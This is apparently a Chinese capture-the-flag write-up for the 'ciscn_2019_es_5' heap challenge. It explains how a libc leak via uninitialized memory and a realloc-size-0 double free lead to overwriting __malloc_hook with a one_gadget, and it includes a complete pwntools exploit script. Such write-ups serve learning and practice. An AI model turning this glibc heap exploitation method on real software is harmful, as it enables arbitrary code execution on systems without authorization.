前置知识
- 感谢
havik
师傅的wp - 未初始化内存
realloc
函数:
- 第二个参数大于原有
chunk
大小时,会将原chunk
释放,并申请一个第二个参数大小的新chunk
,返回新的chunk
指针 - 第二个参数等于
0
时,等同于free
,直接释放 - 第二个参数小于等于原有
chunk
时,仅仅返回其指针
整体思路
阅读程序,没有明显漏洞,不存在off by null
,明面上也没有uaf
之类的
但是:
- 由于程序中申请到可控
chunk
时,并没有对其进行初始化,因此可以将释放到unsortedbin
中的chunk
申请回来,然后残留的main_arena
的指针还在chunk
中,可以直接泄露libc
- 程序没有对申请的大小进行校验,因此可以申请大小为
0
的chunk
,如此一来会返回一个大小为0x20
的chunk
,但edit
时会调用realloc
,其第二个参数为申请时的大小0
,相当于free
。接下来再次delete
,就可以实现double free
那么整体思路就比较清晰了:
先申请8
个大小属于unsortedbin
的chunk
,然后全部释放(不要使得最后一个chunk
被最后释放即可,不然会合并),从而获得一个unsortedbin chunk
。然后申请一个小一点的chunk
,这会使得其去切割unsortedbin
,从而获得一个拥有残留指针的chunk
。由此可以泄露出libc
。
接下来申请一个大小为0
的chunk
,使用edit
将其释放,再使用delete
,从而进行double free
。由此改malloc_hook
为one_gadget
即可。
exp
from pwn import *
from LibcSearcher import *
filename = './ciscn_2019_es_5'
context(log_level='debug')
local = 1
all_logs = []
elf = ELF(filename)
libc = ELF('/glibc/2.27-3ubuntu1_amd64/libc.so.6')
if local:
sh = process(filename)
else:
sh = remote('node4.buuoj.cn', )
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
choice_words = 'Your choice:'
menu_add = 1
add_index_words = ''
add_size_words = 'size?>'
add_content_words = 'content:'
menu_del = 4
del_index_words = 'Index:'
menu_show = 3
show_index_words = 'Index:'
menu_edit = 2
edit_index_words = 'Index:'
edit_size_words = ''
edit_content_words = 'New content:'
def add(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_add))
if add_index_words:
sh.sendlineafter(add_index_words, str(index))
if add_size_words:
sh.sendlineafter(add_size_words, str(size))
if add_content_words:
sh.sendafter(add_content_words, content)
def delete(index=-1):
sh.sendlineafter(choice_words, str(menu_del))
if del_index_words:
sh.sendlineafter(del_index_words, str(index))
def show(index=-1):
sh.sendlineafter(choice_words, str(menu_show))
if show_index_words:
sh.sendlineafter(show_index_words, str(index))
def edit(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_edit))
if edit_index_words:
sh.sendlineafter(edit_index_words, str(index))
if edit_size_words:
sh.sendlineafter(edit_size_words, str(size))
if edit_content_words:
sh.sendafter(edit_content_words, content)
def edit_free(index=-1, size=-1):
sh.sendlineafter(choice_words, str(menu_edit))
if edit_index_words:
sh.sendlineafter(edit_index_words, str(index))
if edit_size_words:
sh.sendlineafter(edit_size_words, str(size))
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
add(size=0x100, content='a') # 0
for i in range(7):
add(size=0x100, content='b')
for i in range(1, 8):
delete(index=i)
delete(index=0)
add(size=0x30, content='a') # 0
show(index=0)
sh.recvuntil('Content: ', drop=False)
libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
libc.address = libc_leak - 0x3ebd61
leak_info('libc.address', libc.address)
add(size=0, content='') # 1
edit_free(index=1)
delete(index=1)
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
add(size=0x10, content=p64(libc.sym['__malloc_hook']))
add(size=0x10, content=p64(libc.address + one_gadget[2]))
sh.sendlineafter('Your choice:', '1')
sh.interactive()
# debug()